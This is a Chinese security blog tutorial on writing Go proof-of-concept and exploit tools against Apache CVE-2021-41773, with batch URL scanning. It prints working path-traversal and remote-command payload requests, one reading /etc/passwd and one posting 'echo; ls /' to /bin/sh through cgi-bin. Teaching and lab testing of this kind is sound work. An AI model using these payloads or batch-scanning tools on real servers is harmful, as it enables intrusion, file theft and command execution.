干货|从无到有学习Golang编写poc&exp
2023-5-26 17:5:37 Author: 戟星安全实验室(查看原文) 阅读量:20 收藏

戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约1683字,阅读约需5分钟。

前言

1、确定目标:

首先要明确你的目标是什么。你是想编写一个POC来验证某个漏洞的存在,还是想编写一个EXP来利用该漏洞?

2、漏洞研究:

在编写POCProof of Concept,概念验证)或EXPExploit,漏洞利用)之前,深入研究目标漏洞是至关重要的。了解漏洞的工作原理、漏洞利用条件和可能的影响。查阅相关文档、安全公告、漏洞报告以及专业博客和论坛上的讨论。

3、环境设置:

根据目标漏洞的类型和相关应用程序或系统的环境,搭建一个合适的实验环境。这可能包括虚拟机、容器或者专门用于漏洞测试的平台。

4、编写POC

如果你的目标是编写一个POC来验证漏洞,你需要着重考虑漏洞的关键特征和触发条件。POC应该能够在实验环境中重现漏洞,并提供足够的证据来证明漏洞的存在。

l  确定漏洞的输入点:找到漏洞所接受的输入,这可能是网络请求、文件、用户输入等。分析这些输入的结构和预期的行为。

l  构造恶意输入:基于对漏洞的理解,构造一个恶意输入,以触发漏洞。这可能包括修改输入数据的特定字段、发送恶意请求或者注入恶意代码等。

l  目标验证:验证POC是否能成功触发漏洞。在实验环境中运行POC,并观察结果。如果漏洞成功被验证,确保记录下复现过程和验证结果。

5、编写EXP

如果你的目标是编写一个EXP来利用漏洞,你需要深入理解目标系统的内部工作机制和漏洞利用技术。

l  漏洞利用技术:了解常见的漏洞利用技术,例如、SQL注入、远程代码执行等。根据目标漏洞的类型选择合适的利用技术。

l  编写利用代码:基于漏洞利用技术和目标系统的特点,编写利用代码。这可能包括构造特定的数据包、利用内存布局、绕过安全机制等。

l  利用验证:在合适的实验环境中

编写

1.URL处理

url处理包括:

识别url前缀,没有http&https的添加http或者https

删除url路径部分;(方便poc&exp中添加路径验证漏洞)

url结尾有/ 则去掉/;(同上)

url处理函数 urlHandler

添加main测试函数

2.状态码识别

首先编写获取url状态吗函数:getStatusCode

编写main测试函数:

合并使用第一步的url处理函数:

未使用前:

使用后

3.文件读取

为方便批量漏洞验证,增加文件中读取url的函数

编写文件读取函数:readFile

创建url.txt文件,编写main函数测试:

合并第一、第二步。识别这些url的状态码

4.POC验证

apache路径穿越漏洞--cve-2021-41773为例:

Apache HTTP Server 2.4.492.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

漏洞验证:

在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令

对包头进行修改:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

读取/etc/passwd文件:

编写poc

增加目录:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

以验证反回包是否包含“root:x”判断漏洞是否存在。

main函数

使用靶场验证漏洞

批量验证漏洞:

包括:判断url状态码,存在漏洞的url写入文件

EXP利用

包头修改:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
POST 提交:
echo; ls /

编写exp:增加目录:/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh

POST提交:echo; ls /

执行的命令用户决定,以command控制

编写main函数:

使用poc函数判断漏洞是否存在,如果漏洞存在,则循环执行命令,

至此,简单的漏洞验证和漏洞利用编写完成。

往期回顾

【干货分享】对RuoYi内存马简单二开
【工具分享】Burp插件-AccessKey泄露正则匹配插件
干货分享|Nacos 身份认证绕过漏洞复现-附Nuclei脚本

声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 || 点击下方名片 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247509619&idx=1&sn=bab688d1bff32afe3abb3890319effa1&chksm=c27eac62f5092574cfb772ff738641d548256aabaf6097c9d80e20fc646336d3eaed460b9c33#rd
如有侵权请联系:admin#unsafe.sh